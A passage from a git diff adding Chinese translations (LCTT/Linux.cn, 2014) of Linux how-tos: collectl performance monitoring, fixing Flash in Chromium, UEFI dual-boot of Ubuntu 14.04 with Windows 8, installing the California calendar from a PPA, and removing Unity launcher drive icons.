-scdn + + waiting for 1 second sample... + # + #cpu sys inter ctxsw KBRead Reads KBWrit Writes KBIn PktIn KBOut PktOut + 25 4 943 3333 0 0 0 0 1 1 0 2 + 27 3 825 2910 0 0 0 0 1 1 0 1 + 27 5 886 2531 0 0 0 0 0 0 0 1 + 20 4 872 2406 0 0 0 0 1 1 0 1 + 26 1 854 2091 0 0 20 2 1 1 0 1 + 39 4 1004 3398 0 0 0 0 2 8 3 6 + 41 6 955 2464 0 0 40 3 1 2 0 3 + 25 7 890 1609 0 0 0 0 1 1 0 1 + 16 2 814 1165 0 0 796 43 2 2 0 2 + 14 1 779 1383 0 0 48 6 1 1 0 1 + 11 2 795 1285 0 0 0 0 2 14 1 14 + + +你可以很容易就明白默认选项是“**cdn**”,它代表cpu、硬盘和网络数据。运行带这个选项的 collectl 命令的输出和“**collectl -scn**”的输出一样。 + +如果你想采集内存的数据,用下面的命令。 + + # collectl -sm + + waiting for 1 second sample... + # + #Free Buff Cach Inac Slab Map + 1G 177M 1G 684M 193M 1G + 1G 177M 1G 684M 193M 1G + 1G 177M 1G 684M 193M 1G + 1G 177M 1G 684M 193M 1G + 1G 177M 1G 684M 193M 1G + 1G 177M 1G 684M 193M 1G + 1G 177M 1G 684M 193M 1G + 1G 177M 1G 684M 193M 1G + +当你想要进一步了解内存使用信息、空闲的内存或者与你系统性能有关的重要资料时,上面的输出将是非常有用的。 + +如果想搜集一点儿 tcp 的数据呢?使用下面的命令来实现吧。 + + # collectl -st + + waiting for 1 second sample... + # + # IP Tcp Udp Icmp + 0 0 0 0 + 0 0 0 0 + 0 0 0 0 + 0 0 0 0 + 0 0 0 0 + 0 0 0 0 + 0 0 0 0 + 0 0 0 0 + 0 0 0 0 + 0 0 0 0 + 0 0 0 0 + + +当你熟练到一定程度时,你就可以很轻松地得到你想要的结果了。例如你可以将关于 tcp 的“**t**”选项和关于 cpu 的“**c**”选项组合到一起。下面的命令就是如此。 + + # collectl -stc + + waiting for 1 second sample... + # + #cpu sys inter ctxsw IP Tcp Udp Icmp + 23 8 961 3136 0 0 0 0 + 24 5 916 3662 0 0 0 0 + 21 8 848 2408 0 0 0 0 + 30 10 916 2674 0 0 0 0 + 38 3 826 1752 0 0 0 0 + 31 3 820 1408 0 0 0 0 + 15 5 781 1335 0 0 0 0 + 17 3 802 1314 0 0 0 0 + 17 3 755 1218 0 0 0 0 + 14 2 788 1321 0 0 0 0 + + +对于我们普通大众来说记住这些选项很困难,所以在这里,我整理出了一个列表来总结这个工具支持的选项。 + +- **b** – buddy info (内存碎片) +- **c** – CPU +- **d** – Disk +- **f** – NFS V3 Data +- **i** – Inode and File System +- **j** – Interrupts +- **l** – Lustre +- **m** – Memory +- **n** – Networks +- **s** – Sockets +- **t** – TCP +- **x** – Interconnect +- **y** – Slabs (系统对象缓存) + +对于一个系统管理员或者一个 Linux 用户来说很重要的一种数据就是硬盘的使用情况。下面的命令可以帮你监控硬盘使用情况。 + + # collectl -sd + + waiting for 1 second sample... + # + #KBRead Reads KBWrit Writes + 0 0 0 0 + 0 0 0 0 + 0 0 92 7 + 0 0 0 0 + 0 0 36 3 + 0 0 0 0 + 0 0 0 0 + 0 0 100 7 + 0 0 0 0 + + +你也可以使用“**-sD**”选项来采集单个硬盘的数据,不过你必须知道这就不会显示全部硬盘的信息。 + + # collectl -sD + + waiting for 1 second sample... + + # DISK STATISTICS (/sec) + # Pct + #Name KBytes Merged IOs Size KBytes Merged IOs Size RWSize QLen Wait SvcTim Util + sda 0 0 0 0 52 11 2 26 26 1 8 8 1 + sda 0 0 0 0 0 0 0 0 0 0 0 0 0 + sda 0 0 0 0 24 0 2 12 12 0 0 0 0 + sda 0 0 0 0 152 0 4 38 38 0 0 0 0 + sda 0 0 0 0 192 45 3 64 64 1 20 20 5 + sda 0 0 0 0 204 0 2 102 102 0 0 0 0 + sda 0 0 0 0 0 0 0 0 0 0 0 0 0 + sda 0 0 0 0 116 26 3 39 38 1 16 16 4 + sda 0 0 0 0 0 0 0 0 0 0 0 0 0 + sda 0 0 0 0 0 0 0 0 0 0 0 0 0 + sda 0 0 0 0 32 5 3 11 10 1 16 16 4 + sda 0 0 0 0 0 0 0 0 0 0 0 0 0 + + +你也可以使用其它详细的子系统来采集详细的数据。下面是详细子系统的一个列表。 + +- **C** – CPU +- **D** – Disk +- **E** – Environmental data (fan, power, temp), via ipmitool +- **F** – NFS Data +- **J** – Interrupts +- **L** – Lustre OST detail OR client Filesystem detail +- **N** – Networks +- **T** – 65 TCP counters only available in plot format +- **X** – Interconnect +- **Y** – Slabs (system object caches) +- **Z** – Processes + +collectl 工具中有许多选项,但是仅用一篇文章来介绍肯定是介绍不过来的。然而如果将它当作 **top** 和 **ps** 工具来使用还是值得一提的。 + +很容易将 collectl 当作 top 来使用,只要在 Linux 系统的终端运行下面的命令你就会看到和 **top** 工具类似的输出。 + + # collectl --top + + # TOP PROCESSES sorted by time (counters are /sec) 13:11:02 + # PID User PR PPID THRD S VSZ RSS CP SysT UsrT Pct AccuTime RKB WKB MajF MinF Command + ^COuch!tecmint 20 1 40 R 1G 626M 0 0.01 0.14 15 28:48.24 0 0 0 109 /usr/lib/firefox/firefox + 3403 tecmint 20 1 40 R 1G 626M 1 0.00 0.20 20 28:48.44 0 0 0 600 /usr/lib/firefox/firefox + 5851 tecmint 20 4666 0 R 17M 13M 0 0.02 0.06 8 00:01.28 0 0 0 0 /usr/bin/perl + 1682 root 20 1666 2 R 211M 55M 1 0.02 0.01 3 03:10.24 0 0 0 95 /usr/bin/X + 3454 tecmint 20 3403 8 S 216M 45M 1 0.01 0.02 3 01:23.32 0 0 0 0 /usr/lib/firefox/plugin-container + 4658 tecmint 20 4657 3 S 207M 17M 1 0.00 0.02 2 00:08.23 0 0 0 142 gnome-terminal + 2890 tecmint 20 2571 3 S 340M 68M 0 0.00 0.01 1 01:19.95 0 0 0 0 compiz + 3521 tecmint 20 1 24 S 710M 148M 1 0.01 0.00 1 01:47.84 0 0 0 0 skype + 1 root 20 0 0 S 3M 2M 0 0.00 0.00 0 00:02.57 0 0 0 0 /sbin/init + 2 root 20 0 0 S 0 0 1 0.00 0.00 0 00:00.00 0 0 0 0 kthreadd + 3 root 20 2 0 S 0 0 0 0.00 0.00 0 00:00.60 0 0 0 0 ksoftirqd/0 + 5 root 0 2 0 S 0 0 0 0.00 0.00 0 00:00.00 0 0 0 0 kworker/0:0H + 7 root 0 2 0 S 0 0 0 0.00 0.00 0 00:00.00 0 0 0 0 kworker/u:0H + 8 root RT 2 0 S 0 0 0 0.00 0.00 0 00:04.42 0 0 0 0 migration/0 + 9 root 20 2 0 S 0 0 0 0.00 0.00 0 00:00.00 0 0 0 0 rcu_bh + 10 root 20 2 0 R 0 0 0 0.00 0.00 0 00:02.22 0 0 0 0 rcu_sched + 11 root RT 2 0 S 0 0 0 0.00 0.00 0 00:00.05 0 0 0 0 watchdog/0 + 12 root RT 2 0 S 0 0 1 0.00 0.00 0 00:00.07 0 0 0 0 watchdog/1 + 13 root 20 2 0 S 0 0 1 0.00 0.00 0 00:00.73 0 0 0 0 ksoftirqd/1 + 14 root RT 2 0 S 0 0 1 0.00 0.00 0 00:01.96 0 0 0 0 migration/1 + 16 root 0 2 0 S 0 0 1 0.00 0.00 0 00:00.00 0 0 0 0 kworker/1:0H + 17 root 0 2 0 S 0 0 1 0.00 0.00 0 00:00.00 0 0 0 0 cpuset + +最后,当然不是说这不重要,我们在终端运行下面的命令就可以将 collectl 用作 ps 工具了。 +你可以得到关于你系统进程的信息,这和在终端运行“**ps**”命令是一样的。 + + # collectl -c1 -sZ -i:1 + + waiting for 1 second sample... + + ### RECORD 1 >>> tecmint-vgn-z13gn <<< (1397979716.001) (Sun Apr 20 13:11:56 2014) ### + + # PROCESS SUMMARY (counters are /sec) + # PID User PR PPID THRD S VSZ RSS CP SysT UsrT Pct AccuTime RKB WKB MajF MinF Command + 1 root 20 0 0 S 3M 2M 0 0.00 0.00 0 00:02.57 0 0 0 0 /sbin/init + 2 root 20 0 0 S 0 0 1 0.00 0.00 0 00:00.00 0 0 0 0 kthreadd + 3 root 20 2 0 S 0 0 0 0.00 0.00 0 00:00.60 0 0 0 0 ksoftirqd/0 + 5 root 0 2 0 S 0 0 0 0.00 0.00 0 00:00.00 0 0 0 0 kworker/0:0H + 7 root 0 2 0 S 0 0 0 0.00 0.00 0 00:00.00 0 0 0 0 kworker/u:0H + 8 root RT 2 0 S 0 0 0 0.00 0.00 0 00:04.42 0 0 0 0 migration/0 + 9 root 20 2 0 S 0 0 0 0.00 0.00 0 00:00.00 0 0 0 0 rcu_bh + 10 root 20 2 0 S 0 0 0 0.00 0.00 0 00:02.24 0 0 0 0 rcu_sched + 11 root RT 2 0 S 0 0 0 0.00 0.00 0 00:00.05 0 0 0 0 watchdog/0 + 12 root RT 2 0 S 0 0 1 0.00 0.00 0 00:00.07 0 0 0 0 watchdog/1 + 13 root 20 2 0 S 0 0 1 0.00 0.00 0 00:00.73 0 0 0 0 ksoftirqd/1 + 14 root RT 2 0 S 0 0 1 0.00 0.00 0 00:01.96 0 0 0 0 migration/1 + 16 root 0 2 0 S 0 0 1 0.00 0.00 0 00:00.00 0 0 0 0 kworker/1:0H + 17 root 0 2 0 S 0 0 1 0.00 0.00 0 00:00.00 0 0 0 0 cpuset + 18 root 0 2 0 S 0 0 1 0.00 0.00 0 00:00.00 0 0 0 0 khelper + 19 root 20 2 0 S 0 0 0 0.00 0.00 0 00:00.00 0 0 0 0 kdevtmpfs + 20 root 0 2 0 S 0 0 0 0.00 0.00 0 00:00.00 0 0 0 0 netns + 21 root 20 2 0 S 0 0 0 0.00 0.00 0 00:00.00 0 0 0 0 bdi-default + 22 root 0 2 0 S 0 0 0 0.00 0.00 0 00:00.00 0 0 0 0 kintegrityd + + +我确信许多系统管理员将会喜欢这个工具并且在充分使用它后会感受到它的强大。如果你想增进你对 collectl 的了解,从而达到新的层面,你可以去参阅 collectl 的 man 手册并勤加练习。 + +在你的终端键入下面的命令开始阅读吧。 + + # man collectl + +### 参考链接 ### + +- [collectl Homepage][1] + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/linux-performance-monitoring-with-collectl-tool/ + +译者:[Linchenguang](https://github.com/Linchenguang) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://collectl.sourceforge.net/index.html diff --git a/published/201406/Fix Adobe Flash Player Issue In Chromium In Ubuntu 14.04.md b/published/201406/Fix Adobe Flash Player Issue In Chromium In Ubuntu 14.04.md new file mode 100644 index 0000000000..26f2236856 --- /dev/null +++ b/published/201406/Fix Adobe Flash Player Issue In Chromium In Ubuntu 14.04.md @@ -0,0 +1,40 @@ +修复Ubuntu 14.04中Chromium的Adobe Flash Player的问题 +================================================================================ +[安装Ubuntu 14.04之后,先要做的几件事情][1]中其中一项是安装Adobe Flash Player。一般来说,如果安装了[Ubuntu Restricted Extras][2],Flash Player应该可以工作而且你应该能够在网上观看在线视频,比如You Tube等网站上。 + +其实这不是因为Chromium是在Ubuntu 14.04上使用才出现的问题。当你用其他的网页浏览器比如火狐、Chrome时,你可以轻松地播放You Tube等网站视频,但在Chromium中你将会看到Adobe Flash player缺失插件的通知: + +> **Adobe Flash Player is required to display some elements on this page. Install plug-in..** + +![](http://itsfoss.com/wp-content/uploads/2014/04/Flash_Player_Ubuntu_1404_Chromium.jpeg) + +### 只有在Chromium中出现flash player问题的原因: ### + +只有在Chromium中发生这个问题的原因是,之前Chromium使用Netscape Plugin API构架来支持Flash,从Ubuntu 14.04开始,[Chromium将会停止使用Netscape Plugin API][3]。因此,我们才遇到Chromium的Adobe Flash Player的问题。 + +那么,为什么这个问题没有发生在其他浏览器上?答案是,因为它们使用 Flash Player 11.2。 + +### 修复Chromium上Adobe Flash Player的问题: ### + +修复这个问题,我们应该使用Pepper Flash Player,一个来自Google更安全更稳定的版本的Flash Player。在Ubuntu 14.04的源里有[Adobe Flash Player Pepper 安装器][4]。这个安装器会下载Google Chrome,提取出Pepper Flash Player然后设置给Chromium使用。 + +要在Ubuntu 14.04安装Pepper Flash Player,打开一个终端,使用下面的命令: + + sudo apt-get install pepperflashplugin-nonfree + sudo update-pepperflashplugin-nonfree --install + +之后重启Chromium。不用重启系统。我希望这个帖子能够帮助你解决Chromium上Adobe Flash Player的问题。欢迎提出任何问题和建议。 + + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/fix-flash-player-issue-chromium-in-ubuntu-14-04/ + +译者:[linuhap](https://github.com/linuhap) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://itsfoss.com/things-to-do-after-installing-ubuntu-14-04/ +[2]:https://help.ubuntu.com/community/RestrictedFormats +[3]:http://blog.chromium.org/2013/09/saying-goodbye-to-our-old-friend-npapi.html +[4]:https://wiki.debian.org/PepperFlashPlayer diff --git a/published/201406/Guide To Install Ubuntu 14.04 In Dual Boot Mode With Windows 8 Or 8.1 UEFI.md b/published/201406/Guide To Install Ubuntu 14.04 In Dual Boot Mode With Windows 8 Or 8.1 UEFI.md new file mode 100644 index 0000000000..ea718cc18a --- /dev/null +++ b/published/201406/Guide To Install Ubuntu 14.04 In Dual Boot Mode With Windows 8 Or 8.1 UEFI.md @@ -0,0 +1,102 @@ +在UEFI模式下安装Ubuntu 14.04与Windows 8/8.1双启动 +================================================================================ +![](http://itsfoss.com/wp-content/uploads/2014/05/Dual_Boot_Windows8_Ubuntu_1404.jpeg) + +之前我已经写过关于[如何安装Ubuntu Linux和Windows 7][1]以及8的双启动,但是那些教程不包含那些预装Windows 8的系统。那些较新的预装了Windows 8或Windows 8.1的系统使用了UEFI来替代BIOS。这使得安装双启动变得和之前的常规方法有点不同。在这个教程中,我们将看到**如何在UEFI模式下安装Ubuntu 14.04与Windows 8/8.1双启动**。 + +这个教程是在一台新买的戴尔灵越 7437(酷睿i7第四代处理器, 256GB SSD,8GB内存以及内置1GB(共享内存) Intel显卡)上演示的。为了使你能够成功安装UEFI下Linux和Windows 8的双启动,我会提到你需要做的所有步骤。如果你已经完成这些步骤中的部分步骤,直接跳到下一步。如果你有个全新的系统,那就更好了。 + +在这里提到的这些步骤也适用于其它基于Ubuntu的Linux发行版,如Linux Mint,Elementary OS等等。不多说,让我们来看看如何在启用了UEFI安全启动的Windows 8系统上双启动Linux。 + +### 让 Ubuntu 14.04 和 Windows 8 双启动: ### + +要在一个UEFI系统上安装Ubuntu有多方面的前提条件。让我们来一个一个看: + +#### 第一步:做个备份 [可选] #### + +做个备份总是个不错的选择,防止你把系统弄糟了。网上有众多文章教你如何备份系统。你可以参照[这个教程][2]。 + +#### 第二步:创建一个Ubuntu的USB启动盘/光盘启动盘 #### + +你需要做的下一件事是创建一个USB启动盘或光盘启动盘。我推荐在Windows下使用[Universal USB Installer][3]创建一个Linux OS的USB启动盘。 + +#### 第三步:为Ubuntu划分一块安装分区 #### + +假设你有一个全新的系统,我们要做的第一件事是创建一个分区来安装Linux。我系统中的256GB磁盘出厂时就有若干个分区,但主要是用来备份及其它目的的。主分区是安装了Windows 8.1的C盘,约有220GB。 + +如果你也像这样只有一个分区,你需要从中分割出一些空间给Linux。如果你有若干空间大小足够的分区,可以使用它们中除C盘外的任意盘,因为安装时会抹掉其中的数据。 + +要在Windows 8中创建分区,需要使用磁盘管理工具。你可以通过在控制面板中搜索‘磁盘’找到磁盘管理工具。 + +![](http://itsfoss.com/wp-content/uploads/2014/05/disk_partition.jpeg) + +在磁盘管理工具中,右键点击你想划分并缩小的卷。在我的演示中,我选择C盘的卷进行缩小,划分出未分配空间: + +![](http://itsfoss.com/wp-content/uploads/2014/05/disk_partition_Windows8.jpeg) + +缩小后出现的未分配空间就放在那里好了,不用对其分区和格式化。我们会在安装Ubuntu时用到它。 + +#### 第四步:在Windows中禁用快速启动 [可选] #### + +为了实现快速启动,Windows 8引进了叫做“快速启动”的新特性。尽管不是强制要求,最好还是将其禁用。 + +打开**控制面板 > 硬件与声音 > 电源选项 > 选择电源按钮的功能 > 更改当前不可用的设置**,取消选中**启用快速启动(推荐)**。 + +#### 第五步:禁用Windows 8 and 8.1的安全启动(secure boot) #### + +这是最重要的步骤。Windows 8新的安全启动(secure boot)原本是针对rootkit病毒的安全特性,但它也阻止了Windows和Linux的双启动。为了实现Windows和Linux的双启动,我们必须在UEFI中禁用安全启动(secure boot)。 + +可以参见:[如何在 Win8 上禁用 UEFI 安全引导以安装Linux][4]。 + +#### 第六步:安装Ubuntu,与Windows 8共存 #### + +一旦你禁用了安全启动(secure boot),那就是时候安装Ubuntu了。我希望你像第二步中提到的一样创建了一个USB启动盘。插入U盘,然后从U盘启动系统。 + +要从USB启动,需要在Windows中选择从USB启动的选项。从电脑设置(像UEFI)中选择选项或在点击“重新启动”的时候按住Shift键。 + +当你用USB启动盘启动后,你会看到试用(try)或者安装(install)Ubuntu的选择,这里要点击“安装”。另外在屏幕上不多的设置选项里面,你可以选择你用的语言。接下来是关于硬盘空间,电源和网络连接等等的一些检查。只需点击**继续**。 + +![](http://itsfoss.com/wp-content/uploads/2014/05/Installing_Windows8_Ubuntu.jpeg) + +安装窗口中你需要注意的是**安装类型(Installation Type)**。选择这里的**其它选项(Something else)**: + +![](http://itsfoss.com/wp-content/uploads/2014/05/Installing_Windows8_Ubuntu_1.jpeg) + +还记得我们事先划分的未分配空间吗?我们将用它来创建根分区( / ),交换空间(Swap)以及家目录(Home)。选择空闲(free space)然后点击加号(+)。 + +![](http://itsfoss.com/wp-content/uploads/2014/05/Installing_Windows8_Ubuntu_2.jpeg) + +它会给你提供创建Linux分区的选项。我们正在创建根分区 /。10到20GB空间就足够了。选择大小(Size),然后选择Ext 4作为文件系统以及 /(意思是根)作为挂载点(Mount point)。 + +![](http://itsfoss.com/wp-content/uploads/2014/05/Installing_Windows8_Ubuntu_3.png) + +点击确定会回到分区界面。下一步我们创建交换空间(Swap)。像之前一样,再次点击加号(+)。这次我们选择作为交换空间(Swap area)。建议的交换空间大小是物理内存的两倍。 + +![](http://itsfoss.com/wp-content/uploads/2014/05/Installing_Windows8_Ubuntu_4.png) + +以同样的方式创建家目录(Home)。给它分配最大的空间(实际上是给它分配剩余的所有空间),因为这是你会用来存储音乐,图片以及下载的文件的位置。 + +![](http://itsfoss.com/wp-content/uploads/2014/05/Installing_Windows8_Ubuntu_5.png) + +分配好了根分区( / ),交换空间(Swap)和家目录(Home)之后,点击**现在安装(Install Now)**: + +![](http://itsfoss.com/wp-content/uploads/2014/05/Installing_Windows8_Ubuntu_6.jpeg) + +好了,你现在基本上以及赢得了这场战役了~露出胜利的微笑吧~接下来你会被要求设置用户名密码等等。基本上你现在只需点击下一步。 + +一旦安装完成,重新启动电脑,你应该会看到紫色的grub欢迎界面。尽情享受Ubuntu和Windows 8的双启动模式吧。(译注:对于可能出现grub系统选择中没有Windows 8选项或是无法正常启动的情况,可搜索Boot Repair工具的使用) + +我希望这份指南能够帮你实现Ubuntu和Windows 8的UEFI模式双启动。虽然这篇文章是为Ubuntu写的,它对其它的Linux OS应该也有所帮助。欢迎提出任何问题与建议。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/install-ubuntu-1404-dual-boot-mode-windows-8-81-uefi/ + +译者:[alim0x](https://github.com/alim0x) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://itsfoss.com/install-ubuntu-dual-boot-mode-windows/ +[2]:http://www.makeuseof.com/tag/6-safest-ways-to-backup-restore-your-files-in-windows-7-8/ +[3]:http://www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/ +[4]:http://linux.cn/article-3061-1.html diff --git a/published/201406/How To Install 'California' Calendar App in Ubuntu 14.04.md b/published/201406/How To Install 'California' Calendar App in Ubuntu 14.04.md new file mode 100644 index 0000000000..c92e1dee93 --- /dev/null +++ b/published/201406/How To Install 'California' Calendar App in Ubuntu 14.04.md @@ -0,0 +1,71 @@ +Ubuntu 14.04上怎样安装‘California’ 日历应用 +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/05/california-calendar.jpg) + +**当非盈利软件服务商Yorba宣称它上个月开始开发名为‘California’的桌面日历应用程序时,我们很兴奋——我们在自己的头条里面说“正当其时!”** + +Yorba在背后支撑着注重用户体验的电子邮件客户端软件‘Geary’以及华丽的照片管理软件‘Shotwell’,因此,我们自然有理由非常期望他们能够进军linux系统上的生产力软件主流软件。 + +尽管 **California 尚未稳定** 到可以发布到正式的发行版本,但现在可以通过该公司的日常开发的PPA安装到ubuntu系统中。 + +### 迄今取得的进展 ### + +“*Neeeeeyaaaaaaaawwnnn!*” — 那是飞机即将降落在旧金山国际机场的一段警告声音. + +是的,California 正在积极的开发中,该软件尚未完成,也没有稳定到满足每个人每天使用,但是 +如果你愿意搞定一些bug的话,你可以在ubuntu 14.04上安装这款应用程序。 + +是否这样做取决于你的想法。 + +当前的构建(如,在写本文时的)提供了本地管理以及Google 日历和web日历(.ICS)的基本支持。事件可以甚至在GNOME桌面的日期/时间小程序中显示. + +#### 自然语言输入 #### + +当你第一次打开California 软件时,呈现在你面前的是当月概要,目前还没有按星期,年,议程去查看的方法,起码我没找到。你可以使用导航按钮而切换月份. + +可以通过点击工具栏中的日历图标创建新的日历(*如 ‘工作‘, ‘宠物照料‘*)及打开/关闭它。当所有的日历都展现在主窗口时,每个日历通过不同颜色来视觉区分。 + +要创建新的事件,点击‘+’图标, 然后在弹出的输入框中使用**自然语言输入**,输入你想要提交事件的描述(译注:显然你得用英语)。例如, 输入内容“*Bake Sansa Stark A Lemon Cake on Wednesday 2.45 PM*”将在周三的这个时间(14:45)加入该事件。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/05/Screen-Shot-2014-05-15-at-21.26.20.png) + +我希望这个功能变得更加完善些。现在,尽管它能够精准定位日期,但不支持重复性事件的创建 +(e.g., via “*Skype chat with Sam every Tuesday at 7 AM*“)也不能识别地点或人物(e.g., “*Coffee with Penelope on Monday 12 PM at Boston Tea Party*“)。 + +要修改正确些,你可以在网格视图上双击它们来完善和编辑创建好条目。这将打开一个包含附加字段、时间选择、日期格式等的窗口。 + +#### 不够完善 #### + +如果说有一些缺陷,那就是在外观上(这个阶段的bugs和欠缺的功能可以被忽略)。虽然在 Adwaita 主题下看来已经很棒了,不过在 Ubuntu 默认主题下它看起来糟透了。 + +这不是Yorba(或GNOME)的错误,而是Ubuntu开发团队仍然没有在Compiz里面增加对GNOME新的GTK标题栏的支持,现在还在使用 Unity 来渲染窗口。 + +California 在ubuntu系统上完全可用,这个问题只是在发行版升级之后。 这个问题没有影响到Ubuntu GNOME或Linux Mint。 + +### 在ubuntu14.04中安装California ### + +如果你没注意先前的提醒,我们再次重申:California 尚未稳定,正处于积极的开发中。 + +这个[Yorba Daily PPA][2] 也包含了最新(未稳定)的Shotwell和Geary版本。将这个PPA安装到你的系统中将能够使这些软件也更新了。 + + sudo add-apt-repository ppa:yorba/daily-builds + sudo apt-get update && sudo apt-get install california + +另一个安全试用这个软件的方法是,[直接下载来自PPA的.deb安装包][3]: + +- [Download California for Ubuntu 14.04 (64bit)][4] +- [Download California for Ubuntu 14.04 (32bit)][5] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/05/california-calendar-app-hits-yorba-daily-ppa + +译者:[hunanchenxingyu](https://github.com/hunanchenxingyu) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.omgubuntu.co.uk/2014/04/yorba-california-calendar-app-linux +[2]:https://launchpad.net/~yorba/+archive/daily-builds/ +[3]:https://launchpad.net/~yorba/+archive/daily-builds/+packages +[4]:https://launchpad.net/~yorba/+archive/daily-builds/+files/california_0.1.0-0%7E188%7Eubuntu14.04.1_amd64.deb +[5]:https://launchpad.net/~yorba/+archive/daily-builds/+files/california_0.1.0-0%7E188%7Eubuntu14.04.1_i386.deb \ No newline at end of file diff --git a/published/201406/How To Remove Drive Icons From Unity Launcher In Ubuntu 14.04 [Beginner Tips].md b/published/201406/How To Remove Drive Icons From Unity Launcher In Ubuntu 14.04 [Beginner Tips].md new file mode 100644 index 0000000000..fde49451b8 --- /dev/null +++ b/published/201406/How To Remove Drive Icons From Unity Launcher In Ubuntu 14.04 [Beginner Tips].md @@ -0,0 +1,19 @@ +[小白技巧]在Ubuntu 14.04中,如何从Unity启动器上移除盘符图标 +======================================================= + +一个读者发来的问题:在Ubuntu 14.04系统中,我如何从Unity启动器上移除这些盘符图标?我从来不使用它,然而它占用着启动器的位置。 + +默认情况下,无论你挂载与否,系统上所有分区的盘符图标都会显示在Unity启动器上。事实上它可能会使 Unity 启动器的位置变得拥挤。刚刚接触 Ubuntu 的小白可能对如何将这些盘符移去感觉比较困扰,但是实际上这很容易。 + +要从Ubuntu 14.04系统的Untiy启动器上永久地移除盘符图标,右键点击盘符,然后选择"Unlock from Launcher"即可。 + +![Remove drive cons from Ubuntu 14.04 unity launcher](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/06/Remove_Drive_Icons_Ubuntu_Unity.jpeg) + +就这样。你不需要做更多操作了。即使分区被挂载,在Unity启动器上你再也看不到盘符图标了。我希望这能帮到你。如果你有任何问题可以随时问我。 + +-------------------------------------------------------------------------------- +via: http://itsfoss.com/remove-drive-icons-from-unity-launcher-in-ubuntu/ + +译者:[lousam](https://github.com/lousam) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201406/How to Install Windows 8.1 and Ubuntu 14.04 LTS on the Same Computer.md b/published/201406/How to Install Windows 8.1 and Ubuntu 14.04 LTS on the Same Computer.md new file mode 100644 index 0000000000..3d35be0670 --- /dev/null +++ b/published/201406/How to Install Windows 8.1 and Ubuntu 14.04 LTS on the Same Computer.md @@ -0,0 +1,36 @@ +如何在同一台计算机上安装Windows 8.1和Ubuntu 14.04 LTS +================================================================================ + +![](http://i1-news.softpedia-static.com/images/news2/How-to-Install-Windows-8-1-and-Ubuntu-14-04-LTS-on-the-Same-Computer-440356-2.jpg) + +**一些Windows用户,希望试试Linux操作系统,而不用删除他正在使用的系统。令人高兴的是,想尝试下Linux是非常简单的,而且Linux操作系统也能和其他操作系统在同一台机器上和平共处。** + +举个例子,如果你是Windows用户,想试试Ubuntu,这个过程实际上是相当简单的,用户只需要付出一点小小的努力即可,这个过程中稍微注意一点就行了。 + +在PC上正常安装一个操作系统并不复杂,甚至是Ubuntu和其它Linux也一样简单。在大多数情况下,用户单击对话框的“下一步”,按照流程进行即可。当你想保留PC上的原来的操作系统时(并不特指Windows),还需要多一点操作才行,但是很简单。 + +在Linux下刻录一个ISO镜像是很容易的,有好几个程序可以提供这样的功能。而在Windows下,你可以将Ubuntu刻录到DVD或制作成USB启动盘(这样更好一些)。要将Ubuntu正确复制到一个USB设备,你将需要下载名为[Win32 Disk Imager 0.9.5][1]一个小工具。它具有一个简单的界面,是完全自动的。 + +在重启机器以安装Ubuntu前,你要给Ubuntu一些可用的磁盘空间,而且给Ubuntu一个磁盘分区是不够的。你将需要两个,一个放Ubuntu本身(大约10GB,如果你不想安装太多的应用的话,就足够了),第二个是交换分区(类似于Windows的页面文件),它的大小一般是你的内存的两倍。你不需要格式化它们,只要他们是可用的就行。如果你在第二块空闲硬盘安装Ubuntu,那就更简单了。 + +插上USB启动盘并重新启动。你会得到一个提示,询问是“试用”还是“安装”。选择“安装”并选择安装方式:安装Ubuntu和Windows 8并存(或任何你拥有的其他版本),用Ubuntu替换Windows 8,或者别的选项。 + +你可以选择“和Windows 8并存安装”,但你也许不喜欢安装程序自动处理的方式。你也可以选择“其它(Something Else)”来手动控制安装过程。 + +找到你给Ubuntu保留的空闲分区(安装程序无法读取和显示Windows卷的名称,所以你要小心别选错了),双击它,选择ext4文件系统,和“/”作为默认的安装点。 + +现在选择另外的那个较小的分区,选择swap分区类型。就这些了。当你点击下一步,安装程序将启动,你将要输入用户名,密码和其他信息。 + +当你启动你之后,将得到一个简单的列表,可以选择你要启动的操作系统。 + +尽情享受! + +------------------ + +via: http://news.softpedia.com/news/How-to-Install-Windows-8-1-and-Ubuntu-14-04-LTS-on-the-Same-Computer-440356.shtml + +译者:[CHINAANSHE](https://github.com/CHINAANSHE) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.softpedia.com/get/CD-DVD-Tools/Data-CD-DVD-Burning/Win32-Disk-Imager.shtml diff --git a/published/201406/How to download webcomics from the command line on Linux.md b/published/201406/How to download webcomics from the command line on Linux.md new file mode 100644 index 0000000000..9efaa73c7a --- /dev/null +++ b/published/201406/How to download webcomics from the command line on Linux.md @@ -0,0 +1,107 @@ +Linux + 漫画迷 = 二次元世界? +================================================================================ +你是否从来都没有错过xkcd上的漫画连载?及时地阅读到网络漫画。或者你是否想过从你喜欢的网站上备份所有漫画连载?如你所愿,开源社区将为你提供解决方案:使用命令行程序从终端上下载所有你喜欢的漫画连载。 + +在我们开始之前,请记住一点,你下载的漫画连载仅供个人使用,在没有授权的情况下是不可以散播出去的。如果你确实喜欢该作者的作品,请支持通过捐赠或购买正版商品获得。 + +### 在Linux中安装Dosage + 